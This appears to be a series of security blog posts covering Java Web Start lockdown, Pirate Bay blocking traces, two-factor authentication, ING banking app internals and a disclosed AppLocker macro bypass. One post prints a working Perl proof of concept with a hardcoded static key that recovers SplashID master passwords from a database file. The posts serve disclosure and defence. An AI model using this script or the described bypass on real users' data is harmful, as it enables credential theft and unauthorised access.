Running a signed javaws application for the first time will cause a security popup to appear:

The warning is not very informative. After clicking on “More Information…” the risks become a little more clear:

Obviously most users will just click “Run” without hesitation. Fortunately, it is possible to move the decision to run a javaws app to a central place. This is documented in the Java Deployment Guide in the Deployment Configuration File and Properties section. Place a deployment.config file in the JRE lib directory with these contents:

deployment.system.config=file\:/path/to/deployment.properties

The path can point to the same lib directory, or a central location on a file share. The contents of this deployment.properties file should be:

deployment.security.askgrantdialog.show=false
deployment.security.askgrantdialog.show.locked=
deployment.security.askgrantdialog.notinca=false
deployment.security.askgrantdialog.notinca.locked=
deployment.system.security.trusted.certs=\\\\myserver\\myshare\\java\\trusted.certs

The deployment.security.askgrantdialog.show property controls the “Allow user to grant permissions to signed content” checkbox in the Java Control Panel. The deployment.security.askgrantdialog.notinca property controls the “Allow user to grant permissions to content from an untrusted authority” checkbox. Disabling them is recommended by CERT. Adding another property with “locked” appended to its name prevents users to change it back:

This effectively disables the user to start any signed javaws application. Trying to do so will now trigger an error that looks like this:

Clicking the details button explains the security configuration does not allow the user to grant permission to new certificates:

So far, so good. Of course there might be some javaws applications that you are running within your organization that should be allowed. This is where the deployment.system.security.trusted.certs property comes in. The default is a trusted.certs file inside the JRE lib directory, but placing this on a central share might make updating it a lot easier. To create this file, use the keytool binary that comes with JRE. Keytool is used to manage Java keystores. To create an empty keystore use:

keytool -genkey -alias foo -keystore trusted.certs
keytool -delete -alias foo -keystore trusted.certs

When asked for a password for the new keystore, use “changeit”. This is the password for the cacerts file that comes with JRE. Since none of the information inside the trusted.certs file is secret there is no need to set a strong password.

Now download the JAR file of the javaws app that is trusted. Unzip it and look inside the META-INF directory. There will be a *.RSA file. This holds the signer certificate (and its CA certificates) in pkcs7 format. To extract the certificates use:

openssl pkcs7 -print_certs -in PATCHMAN.RSA -inform DER -out cert.txt

This will export the signer and CA certificates in PEM format. Now edit cert.txt so that it only contains the signer certificate (remove the CA certificates). Convert it to DER format:

openssl x509 -in cert.txt -out cert.der -outform DER

This format can be read by keytool to add it to the keystore:

keytool -importcert -alias patchmanager -file cert.der -keystore trusted.certs

Start the Java Control Panel, and click the Certificates button on the Security tab. Select Trusted Certificates and the System tab. The imported certificate should now be shown:

This will make sure only trusted Java Web Start applications can be run outside of the Java sandbox.

The most interesting result to me was the discovery that SplashID for iOS stores the master password inside the database that password is meant to protect. It is encrypted, but with a static key that is embedded in the program, and the same for all users. Based on this research I was able to write a proof of concept that takes the SplashIDDataBase.db file (from a jailbroken iPhone or iPad or from an iTunes backup) and displays the password for the database. With this it is trivial for an attacker with access to the SplashIDDataBase.db file to retrieve the master password and use it to read all the entries stored in the database. The script is shown below and can be downloaded here.

It seems that SplashData made a similar faux pas with SplashID Enterprise Safe. This makes me fear the worst for the other members of the SplashID software family.

This all shows that closed source security products are very hard to trust. Independent review is always needed to make sure no obvious vulnerabilities exist.

Here is the proof of concept code:

#!/usr/bin/perl

use DBI;
use Crypt::Blowfish;

$key = "g.;59?^/0n1X*{OQlRwy";

$dbh = DBI->connect( "dbi:SQLite:SplashIDDataBase.db" ) || die "Cannot connect: $DBI::errstr";

$sth = $dbh->prepare("SELECT PASSWORD from DATABASEINFOTABLE");
$numrows = $sth->execute;
$ref = $sth->fetchrow_hashref;
$cryptpwd = $ref->{PASSWORD};
$sth->finish;
$dbh->disconnect;

$cipher = new Crypt::Blowfish $key;

for($i=0;$i<length($cryptpwd);$i+=8) {
  $pwd = $cipher->decrypt(substr($cryptpwd,$i,8));
  print $pwd;
}
print "\n";

DNS filtering

The normal DNS response to resolving thepiratebay.org using an unfiltered DNS resolver (and omitting the MX records) is:

$ host thepiratebay.org
thepiratebay.org has address 194.71.107.15

Using the default Ziggo DNS resolver this now gives:

$  host thepiratebay.org
thepiratebay.org has address 212.54.32.19

Using the xs4all DNS resolvers, the response is:

$ host thepiratebay.org
thepiratebay.org has address 194.109.6.92
thepiratebay.org has IPv6 address 2001:888:0:18::80

So the IP address of thepiratebay.org has been replaced with an IP address controlled by the ISP. On the Ziggo IP address the following message is shown:

xs4all chose to display a more informative message:

IP filtering

Besides various domain level bans, the court also ordered the blocking of 3 specific IP addresses. This seems logical because otherwise new DNS records pointing to thepiratebay.org IP address would probably pop-up faster than plaintiff BREIN would be able to add them to the block list. From a Ziggo connection, the traceroute to an unblocked IP address looks like this:

Tracing the path to 194.71.107.14 on TCP port 80 (http), 30 hops max
1  10.10.10.10  1.033 ms  0.323 ms  0.322 ms
2  * 53563a01.cm-6-7a.dynamic.ziggo.nl (83.86.58.1) 7.521 ms  7.774 ms
3  gv-rc0052-ds102-vl202.core.as9143.net (213.51.161.161)  7.657 ms  8.891 ms  7.943 ms
4  gv-rc0011-cr102-ae12-0.core.as9143.net (213.51.158.251)  7.859 ms  9.467 ms  7.554 ms
5  asd-tr0409-cr101-ae8-0.core.as9143.net (213.51.158.26)  10.406 ms  7.016 ms  8.157 ms
6  xe-8-0-1.edge4.amsterdam1.level3.net (212.72.40.173)  38.330 ms  15.699 ms  12.082 ms
7  4.68.110.198  10.337 ms  10.172 ms  8.879 ms
8  te3-2-10g.ar1.snv2.gblx.net (67.16.139.82)  151.346 ms  152.009 ms  154.799 ms
9  xe-1-0-1.cr1.sfo1.us.nlayer.net (69.22.153.205)  152.695 ms  156.498 ms  152.759 ms
10  as40475.ge-0-2-1.cr1.sfo1.us.nlayer.net (69.22.153.90)  152.918 ms  154.384 ms  164.536 ms
11  ge-0-1-0.ro4.sjc01 (208.83.220.46)  170.319 ms  165.839 ms  169.114 ms
12  ge-0-0.cal-cr-0.srstubes.net (74.116.251.2)  168.702 ms  171.355 ms  167.281 ms
13  ge-0-4.sth3-core-1.srstubes.net (194.68.0.194)  179.128 ms  180.895 ms  179.933 ms
14  ge-1-2.sth4-dr-1.srstubes.net (194.68.0.166)  180.699 ms  183.876 ms  180.785 ms
15  ge-0-1.moria-cr-1.piratpartiet.net (194.68.0.146)  179.694 ms  179.994 ms  183.420 ms
16  * * *

A traceroute to a blocked IP address looks like this:

Tracing the path to 194.71.107.15 on TCP port 80 (http), 30 hops max
1  10.10.10.10 0.414 ms  0.331 ms  0.318 ms
2  53563a01.cm-6-7a.dynamic.ziggo.nl (83.86.58.1)  48.198 ms * *
3  gv-rc0052-ds102-vl204.core.as9143.net (213.51.165.33)  13.757 ms  17.851 ms  7.605 ms
4  * * *
5  * * *

So it looks like the IP block is in effect on the Ziggo core router gv-rc0011-cr102-ae12-0.core.as9143.net.

From xs4all a unblocked trace looks like:

Tracing the path to 194.71.107.14 on TCP port 80 (www), 30 hops max
1  124.ae0.xr3.3d12.xs4all.net (194.109.21.13)  0.473 ms  0.313 ms  0.242 ms
2  nl-asd-dc2-ice-ir01.kpn.net (139.156.201.90)  11.780 ms  5.290 ms  11.953 ms
3  nl-asd-dc2-ias-csg01-ge-5-2-0.kpn.net (139.156.113.103)  0.373 ms  0.404 ms  0.367 ms
4  * * *
5  ae3-60g.cr1.ams2.nl.nlayer.net (69.22.139.238)  80.351 ms  80.317 ms  80.271 ms
6  xe-5-3-0.cr1.lhr1.uk.nlayer.net (69.22.142.94)  7.086 ms  7.045 ms  7.034 ms
7  xe-11-3-1.cr1.nyc3.us.nlayer.net (69.22.142.132)  80.444 ms  80.434 ms  80.466 ms
8  ae2-70g.cr1.ewr1.us.nlayer.net (69.31.95.145)  80.811 ms  80.803 ms  80.864 ms
9  xe-5-0-0.cr1.ord1.us.nlayer.net (69.22.142.74)  95.314 ms  95.363 ms  96.473 ms
10  xe-1-2-0.cr1.slc1.us.nlayer.net (69.22.142.102)  133.934 ms  132.688 ms  133.005 ms
11  xe-2-0-1.cr1.sfo1.us.nlayer.net (69.22.142.97)  146.579 ms  146.584 ms  146.568 ms
12  as40475.ge-0-2-1.cr1.sfo1.us.nlayer.net (69.22.153.90)  144.234 ms  144.108 ms  144.151 ms
13  ge-0-1-0.ro4.sjc01 (208.83.220.46)  143.621 ms  143.520 ms  143.585 ms
14  ge-0-0.cal-cr-0.srstubes.net (74.116.251.2)  143.196 ms  143.176 ms  143.300 ms
15  ge-1.sthix.srstubes.net (192.121.80.164)  171.578 ms  171.738 ms  171.557 ms
16  ge-1-2.sth4-dr-1.srstubes.net (194.68.0.166)  172.213 ms  175.003 ms  172.384 ms
17  sthix-ge-0-2.moria-cr-1.piratpartiet.net (192.121.80.181)  171.678 ms  171.728 ms  171.847 ms
18  * * *

and a trace to a blocked IP address:

Tracing the path to 194.71.107.15 on TCP port 80 (www), 30 hops max
1  * * *
2  * * *

I only have an xs4all shell account (no ADSL connection), but it seems the IP block is done quite early in the network. This is most likely to not affect other KPN owned ISPs.

Effectiveness

So is this an effective block to prevent the use of thepiratebay.org website? It is what the court ordered, and maybe it will stop a casual user. However, it is rather trivial to bypass. By using a proxy or VPN to a non-filtering ISP it is very easy to still get access to the site. There are also a number of mirrors/proxy sites that are still accessible. BREIN is allowed by the court to add to the blocklist as they see fit, so we will see how long they will survive. Some examples:

1. http://tpb.piratenpartij.nl/
2. http://thepiratebay.ee/
3. http://deblokkeer.nl/
4. http://thepiratebay2.nl/

xs4all has an up-to-date list of which domains are being blocked.

named[15984]: client 2001:da8:8000:d010:0:5efe:daf1:6c89#40681:
  query (cache) 'www.cnnic.cn/A/IN' denied
named[15984]: client 2001:da8:8000:d010:0:5efe:daf1:6c89#40681:
  query (cache) 'www.cnnic.cn/A/IN' denied
named[15984]: client 2001:da8:8000:d010:0:5efe:daf1:6c89#43074:
  query (cache) 'www.cnnic.cn/A/IN' denied
named[15984]: client 2001:da8:8000:d010:0:5efe:daf1:6c89#40683:
  notify question section contains no SOA

That IPv6 address is owned by Shanghai Jiaotong University:

inet6num:       2001:0DA8:8000::/48
netname:        SJTU6-CERNET2
descr:          ~{IO:#=;M(4sQ’~}
descr:          Shanghai Jiaotong University
descr:          Shanghai 200030, China
admin-c:        WW390-AP
tech-c:         WW390-AP
tech-c:         CER-AP
country:        CN
changed:        hostmaster@net.edu.cn 20041129
mnt-by:         MAINT-CERNET-AP
status:         ASSIGNED NON-PORTABLE
source:         APNIC

So what could be the reason for these requests? Are they trying to determine which IPv6 addresses are running DNS resolvers for visitors of Chinese domains? But they couldn’t possible be scanning the complete IPv6 space? Or is that actually feasible?

If you have seen the same entries in your logs, please let me know in the comments.

It is widely accepted that authenticating with only a username and password is not very secure. No matter how complex or long you make a password, it can be copied, intercepted, phished, etc. A lot of effort has been put into securing passwords. Encrypting them when stored on the server side, encrypting them while in transit (SSL/TLS), encrypting them for users that cannot remember it (KeePass, Password Safe). This does not solve the phishing problem. A user that can be tricked to enter his password in the wrong window or on the wrong site basically hands over the keys to the safe.

To protect against password theft (like phishing) one-time passwords were invented. As the name implies, these passwords can be only used once. In order to know what password to enter next, various methods exist:

• TAN list, often used by banks
• Hardware token, such as RSA or Vasco tokens
• Software token (i.e. running on a mobile phone)
• SMS message

This introduces the concept of two-factor authentication. A higher level of security can be achieved when a user is required to present two out of three categories of means to identify himself:

• Something you know (like a username or password)
• Something you have (like a physical key, a token or a mobile phone)
• Something you are (often implemented using biometrics like fingerprints, hand geometry or retina scan)

This sounds very secure, but unfortunately two-factor authentication does not protect against man-in-the-middle attacks. The classic scenario where Alice and Bob are communicating and Mallory is able to change what is being sent back and forth. Mallory and read the one-time password sent by Alice from the wire, and tell Alice that Bob is unavailable. Mallory then proceeds to authenticate against Bob using the credentials stolen from Alice.

The general protection against man-in-the-middle attacks is using a Public Key Infrastructure (PKI). The most widely known PKI is probably the SSL/TLS PKI implementation used for webservers. The core idea is that servers prove their identity to a Certificate Authority (CA) that in return signs their SSL certificate. Before Alice sends her credentials to Bob, she requests his SSL certificate. Alice checks the certificate is signed by a CA she trusts. If it is not, Alice will not proceed.

Mallory can change the certificate midway, but the idea is that she cannot present Alice with a valid certificate with Bob’s name in it that is signed by a trusted CA. This is the mechanism that is protecting the web since 1995. Coupled with two-factor authentication it was pretty strong. Until 2011 that is.

First in march 2011 an Italian reseller of the Comodo CA was hacked. Various false SSL certificates were signed for high profile sites such as Google Gmail, Yahoo Mail, and Microsoft Hotmail. Fortunately, Comodo found out and revoked the certificates before any harm could be done. Then in August a user from Iran noticed his Chrome browser gave a certificate warning when browsing to GMail. Investigation showed that a false certificate was being used by the Iranian government to intercept the traffic. The false certificate was signed by the Diginotar CA that was hacked in July 2011. These incidents show that relying on PKI server side certificates alone is not secure. The EFF SSL Observatory calculated there are around 650 organizations that function as a trusted CA in today’s browsers. Even though a server only uses a single CA for it’s certificate, an attacker can target any of the 650 CAs to get a fake one. Any certificate signed by any one of the 650 CAs will be trusted by the browser.

The only reason Google Chrome gave a warning is because both Chrome and GMail are products of Google. Google implemented an additional check for it’s own sites to see if they were indeed signed by the correct CA (SSL pinning). There have been several other proposals to fix the 650 trusted CAs issue, but they have a long way to go before they are implemented. Other solution would be to combine one-time passwords with the secure remote password protocol and TLS authentication (RFC 5054). Unfortunately browsers (like Firefox) nor web servers (like apache) support TLS-SRP at this moment.

There is another solution that is available today. Instead of just using SSL server side certificates, also use SSL certificates on the client side. This means that both Alice and Bob authenticate themselves using a certificate. If Bob signs the certificates for his users himself, there is no way for Mallory to get a valid client certificate unless she hacks Bob server. But then the point of generating fake certificates is moot: whatever information Mallory is after can be read directly from the server anyway.

There is one more threat we need to protect against. Even though a certificate in itself does not possess one-time properties, because the associated private key is not transmitted it is secure against a man-in-the-middle attack. If the private key is stored in software on the client, it can be stolen if the PC is infected by a trojan or malware. This can be overcome by only storing the private key in a hardware token. This can be a smart card connected to the PC using a reader, or a PKI chip embedded in an USB stick. Of course when a client is infected with modern malware such as Zeus and SpyEye they can perform a man-in-the-browser attack. No authentication method can protect against this attack, but when the private key is stored in a hardware token, when this token is removed and the PC turned off the attacker will not be able to impersonate the users with stolen credentials. Credentials can always be stolen when a software-only solution is used.

In general strong authentication that is resistant against man-in-the-middle attacks and credential theft should:

1. use mutual authentication so that both the client and server are authenticated to the other side
2. use a hardware token which output is used in the encryption layer (like TLS)

The second property requires some explanation. There are several ways to do mutual authentication (using client certificates is just an example). A challenge response scheme that does a full challenge 1 / response 1 + challenge 2 / response 2 handshake will work, but only protects against a man-in-the-middle attack when Mallory cannot intercept both sides of the handshake. For an offline (non-USB) token TLS-SRP can be a solution when this is widely implemented.

Beyond the standard X.509 PKI solutions and tokens, I know of 2 proprietary protocols that implement mutual authentication using hardware tokens: G/On and MobiKEY.

Another solution worth mentioning is the ABN-Amro E.dentifier2 hardware token. This USB connected device contains a PKI client certificate. Crucial banking transaction are routed (using a webbrowser plugin) end-to-end from the server to the token. An LCD display shows the details of the transactions before they are signed by the device. This method seems to protect against man-in-the-browser attacks as well.

{
clientKeyPairTagPrefix = "com.ing.nl.iMB";
encryptedClientPrivateKey = <xxxxxxxx xxxxxxxx ... xxxxxxxx>;
profileId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx";
serverPublicEncryptionKeyTag = "com.ing.nl.server.encrypt";
serverPublicVerificationKeyTag = "com.ing.nl.server.verify";
stage = 2;
}

Dit bevestigt mijn vermoeden dat de applicatie public/private key cryptografie gebruikt. Wat wel opvalt is dat het configuratie bestand niet is beschermd of versleuteld. Als een iPhone proces root rechten heeft kan het dit bestand gewoon lezen en de gegevens kopiëren. Om root rechten te krijg op een iOS device moet het device jailbroken zijn, of een aanvaller moet gebruik maken van een exploit zoals bijvoorbeeld jailbreakme.com deed.

Als de encryptedClientPrivateKey of het profileId wordt veranderd gaat de authenticatie al meteen mis als de optie Rekeningen wordt gekozen. De eerste handshake loopt stuk, nog voordat de pincode ingevoerd hoeft te worden. Ik heb geprobeerd om het nl.ing.iphone.app.Bankieren.plist bestand van een iPhone 4S te kopiëren naar een iPhone 3GS. Daarmee gaat de eerste handshake goed. Maar na het invoeren van de correcte pincode geeft de applicatie aan dat de pincode onjuist is. Kennelijk wordt in deze stap niet alleen de pincode uitgewisseld, maar ook een uniek device id. Daarmee wordt het lastiger voor een aanvaller om misbruik te maken van de ING applicatie. Het volgende is nodig:

1. De inhoud van nl.ing.iphone.app.Bankieren.plist, via een jailbreak of root exploit
2. Het device id. Dit kan via een applicatie die vanuit de appstore moet worden geïnstalleerd, maar aangezien er al root access nodig is voor stap 1, is dat de meeste logische manier om aan het device id te komen.
3. De pincode. Dit kan bijvoorbeeld door de ING applicatie te vervangen door een phishing applicatie. Hiervoor moet de iPhone wel jailbroken zijn, anders kan de phishing applicatie niet worden uitgevoerd.
4. Een aangepaste ING Mobiel Bankieren applicatie die het gestolen device id gebruikt ipv het device id van de iPhone waar het op draait. Deze kan vanuit een emulator worden gedraaid, of zelfs op een niet-iOS device als het authenticatie protocol bij de aanvaller bekend is, en is nagemaakt.

Het advies is om ING Mobiel Bankieren niet te draaien op een jailbroken iPhone of iPad. Dit is namelijk de eerste stap die nodig is om misbruik te maken van deze applicatie. Op een niet-jailbroken iOS device die de laatste iOS versie draait is het voor een aanvaller heel lastig om de nl.ing.iphone.app.Bankieren.plist te stelen. Als er een methode bekend wordt om vanuit userland root te krijgen (zoals via jailbreakme.com) zal dit veel publiciteit krijgen, en zal Apple een nieuwe iOS versie uitbrengen die het lek verhelpt.

Bij verlies van de iPhone of iPad moet meteen ING op de hoogte worden gesteld. Een kwaadwillende zou eventueel via USB een jailbreak kunnen uitvoeren en zo de benodigde informatie kunnen achterhalen. Voorwaarde is dan wel dat hij de pincode al weet.

Deze beveiliging is vergelijkbaar met de Android app.

#!/bin/bash

while [ 1 ]; do
wget -q -T 10 -O out --load-cookies=cookie -U "`cat ua`" --post-file=postdata --no-check-certificate https://presale.events.ccc.de/order/confirm
if [ -s out ]; then
grep -q "Confirm Order" out || exit
fi
rm -f out
sleep 1
echo Retrying...
done


The script succeeded at 16:15.

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<int name="STAGE" value="3" />
<string name="RIGHT_PAD">xxxxxxxxxxxxxxxxxxxx</string>
<string name="PROFILE_ID">xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx</string>
<string name="LEFT_PAD">xxxxxxxxxxxxxxxxxxxx</string>
<string name="PRIVATE_KEY">xxxxxxx...</string>
<string name="PUBLIC_KEY">xxxxxx...|010001</string>
</map>

Dit bevestigt mijn vermoeden dat de applicatie public/private key cryptografie gebruikt. Wat wel opvalt is dat het configuratie bestand niet is beschermd of versleuteld. Als een Android proces root rechten heeft kan het dit bestand gewoon lezen en de gegevens kopiëren.

In de iOS app wordt bij de pincode controle een uniek device id gebruikt. De source code van de Android app doet vermoeden dat dit ook hier het geval is.

Als een aanvaller zich via de ING mobiel bankieren toegang wil verschaffen tot de rekening van een ander, heeft deze tenminste nodig:

1. De inhoud van IngMobilePrefs.xml, via sudo (op een geroot device) of root exploit
2. Het device id. Dit kan via een applicatie die vanuit de market moet worden geïnstalleerd, maar aangezien er al root access nodig is voor stap 1, is dat de meeste logische manier om aan het device id te komen.
3. De pincode. Dit kan bijvoorbeeld door de ING applicatie te vervangen door een phishing applicatie. Die kan bij Android op verschillende methoden worden geïnstalleerd.
4. Een aangepaste ING Mobiel Bankieren applicatie die het gestolen device id gebruikt ipv het device id van het Android device waar het op draait. Deze kan vanuit een emulator worden gedraaid, of zelfs op een niet-Android device als het authenticatie protocol bij de aanvaller bekend is, en is nagemaakt.

Het advies is om ING Mobiel Bankieren niet te draaien op een rooted Android device. Dit is namelijk de eerste stap die nodig is om misbruik te maken van deze applicatie. Op een niet-rooted Android device die de laatste Android versie draait is het voor een aanvaller heel lastig om de IngMobilePrefs.xml te stelen. Ook moet de Instellingen -> Toepassingen -> Onbekende bronnen zoveel mogelijk uit blijven staan om te voorkomen dat er niet-Market applicaties op het device worden geïnstalleerd.  Ook Instellingen -> Toepassingen -> Ontwikkeling -> USB-foutopsporing moet uit staan. Deze instelling is vaak een vereiste voor het rooten.

Bij verlies van de iPhone of iPad moet meteen ING op de hoogte worden gesteld. Een kwaadwillende zou eventueel via USB het device kunnen rooten en zo de benodigde informatie kunnen achterhalen. Voorwaarde is dan wel dat hij de pincode al weet.

Deze beveiliging is vergelijkbaar met de iPhone/iPad app.

Update 2011/11/18: informatie over deviceId toegevoegd

1. De app vraagt om het invullen van de gegevens van de bankpas. Hierna wordt een verbinding gemaakt naar URL https://services.ing.nl/mb/registration/registerProfile waarbij de volgende POST variabelen worden meegegeven:
   1. deviceType: iPhone 4S
   2. profileId: GUID die de app op dit device identificeert
   3. encSymmetricKey: 512 character hex string
   4. deviceBrand: Apple
   5. publicKey: 256 character hex string met daarachter 5 (controle?) bits
   6. osVersion: iOS version
   7. deviceTag: naam die de gebruiker aan het device heeft gegeven (Richard’s iPhone)

   De server antwoordt hierop met een JSON data structuur die oa een sessiesleutel en een signature bevat. Het doorgeven van een publicKey duidt op het genereren van een public/private key paar op het device. De private key blijft op het device staan, de public key slaat ING centraal op zodat in de toekomst het device hiermee kan worden geauthenticeerd.

2. De volgende POST is naar https://services.ing.nl/mb/registration/proveIdentity waarbij de variabelen debitCardExpirationMonth, debitCardCode, accountNumber en dateOfBirth meteen al versleuteld worden verstuurd. Er wordt dus niet vertrouwd op de SSL encryptie, maar men past binnen SSL een eigen encryptie toe op de waarden van de variabelen. De server stuurt een JSON antwoord met een versleutelde apiResponse.

   

3. De gebruiker moet vervolgens met een webbrowser inloggen op mijn.ing.nl en krijgt na het invoeren van een TAN code een controle getal te zien. Dit getal moet worden ingevoerd in de app op het mobiele device. De app vraagt dan https://services.ing.nl/mb/authentication/getVariables op, waarbij de profileId GUID wordt meegegeven. Het antwoord is een JSON structuur met oa srpSalt en serverSrpKey variabelen. Dit duidt op het gebruik van het Secure Remote Password protocol. Hiermee kan een geheime sleutel worden afgesproken zonder dat een eventuele afluisteraar deze te weten komt. Dit vindt dus plaats binnen het SSL protocol dat ook al (enigszins) tegen afluisteren is beveiligd. Het controle getal wordt vervolgens versleuteld verstuurd naar https://services.ing.nl/mb/authentication/checkActivationCode
4. De gebruiker moet in de app de voorwaarden accepteren. Er wordt een hash van de voorwaarden verstuurd naar https://services.ing.nl/mb/authentication/acceptTerms.
5. De gebruiker moet nu een 5-cijferige PIN code kiezen voor beveiliging van de app. Deze code wordt versleuteld verstuurd naar https://services.ing.nl/mb/authentication/registerPin. Vervolgens worden er een aantal sleutels opgevraagd via https://services.ing.nl/mb/authentication/getSymmetricKey en https://services.ing.nl/mb/authentication/getSessionKey.

   

6. Nu de registratie is geslaagd, wordt bij elk volgend gebruik van de app alleen de PIN code gevraagd. Nog voordat die wordt ingevoerd wordt /mb/authentication/getVariables al opgevraagd om het SRP protocol te starten. De PIN wordt daarna versleuteld verstuurd aan /mb/authentication/checkPin waarna weer /mb/authentication/getSymmetricKey en /mb/authentication/getSessionKey worden opgevraagd.

Het authenticatie protocol ziet er goed doordacht uit. Er wordt niet vertrouwd op SSL of TLS. In plaats daarvan gebruikt ING een extra encryptielaag waarvoor het wachtwoord wordt afgesproken via het SRP protocol. Ook genereert elk mobiel device een eigen profileId en een public/private sleutelpaar.

Toch had ik had graag gezien dat de app de uitgever van het SSL certificaat van services.ing.nl had gecontroleerd. Dan was het voor mij (en een eventuele aanvaller) veel moeilijker geweest het protocol te achterhalen. Google Chrome doet dit bijvoorbeeld voor mail.google.com waardoor de man-in-the-middle aanval in Iran en de Diginotar hack werd ontdekt.

Als de registratie eenmaal is gedaan lijkt me dit protocol vrij robuust, ervan uitgaande dat de encryptie sterk is en goed is geïmplementeerd. De grootste kwetsbaarheid zit hem in het registratieproces. Als er tijdens dit proces iemand tussen het mobiele device en de services.ing.nl server in zit (man-in-the-middle), dan is het theoretisch mogelijk om het registratieproces te kapen, en namens de gebruiker de registratie te voltooien. Een aanvaller moet dan wel het hele registratieprotocol inclusief encryptie reverse engineeren en live na weten te bootsen. Ook is een vals SSL certificaat voor services.ing.nl nodig. Deze factoren maken het niet gemakkelijk of zelfs waarschijnlijk dat iemand een man-in-the-middle aanval op een gemiddelde ING klant weet uit te voeren tijdens het registratieproces.

Before you think these are l33t hacks that will be fixed soon, read those blog entries. It is all by design. Apparently one challenge Microsoft faced when designing AppLocker was the installation of new software. The default AppLocker rules allow users to run Windows installer files. (I don’t quite get what the point of using a whitelist is when users are still allowed to install new programs.) This poses an potential deadlock. Installer (msi) files often contain executables and DLLs that are placed in a temporary location and then executed during the installation process. Adding the %TEMP% directory to the AppLocker whitelist would be insecure. So Microsoft designed 2 special API flags for this case: LOAD_IGNORE_CODE_AUTHZ_LEVEL for LoadLibraryEx() to load DLLs and SANDBOX_INERT for CreateRestrictedToken() to load executables. With these flags set, AppLocker will not block the DLLs and executables, ever.

The problem with this design is that not only windows installer files can set these flags. Every single process with access to the Windows API can. This includes whitelisted applications, shellcode injected into a running process by an exploit, or (whitelisted) scripting languages. While allowing Perl or Python on a locked down Windows system is probably not a good idea, Visual Basic for Applications is something most power users can’t do without. This means that from within Microsoft Office applications like Word and Excel, the AppLocker restrictions are easily bypassed.

I have written a proof of concept macro that allows you to select the full path to an executable which will be executed bypassing all AppLocker restrictions. The macro is just a translation to VB of the C code written by Didier Stevens, so all the credit goes to him. This was my first ever Visual Basic script which shows how easy it is to write this bypass with all the needed information already out in the open.

To test this code:

1. In an MS Word document, type in the path to an executable that is not allowed by SRP/AppLocker. For example: C:\test.exe
2. Select the text you just typed, in this example select “C:\test.exe” without the newline
3. Press Alt+F11 (brings up VBA editor)
4. Right mouse button on “Normal” -> Insert -> Module
5. Paste the content of runexe.txt into the new module
6. Place the cursor inside the Sub RunExe()
7. Press F5 (runs macro)

I have submitted the code to Microsoft, asking them to fix this by adding a control mechanism for using the LOAD_IGNORE_CODE_AUTHZ_LEVEL and SANDBOX_INERT flags. A new registry key (disabling the use completely) or linking them to a specific AppLocker rule (only allowing the use when a certain AppLocker rule is matched) would do nicely.

Update: hotfix KB2532445 fixes this issue (MS internal fix was KB370118). Is was released on November 9th, 2011.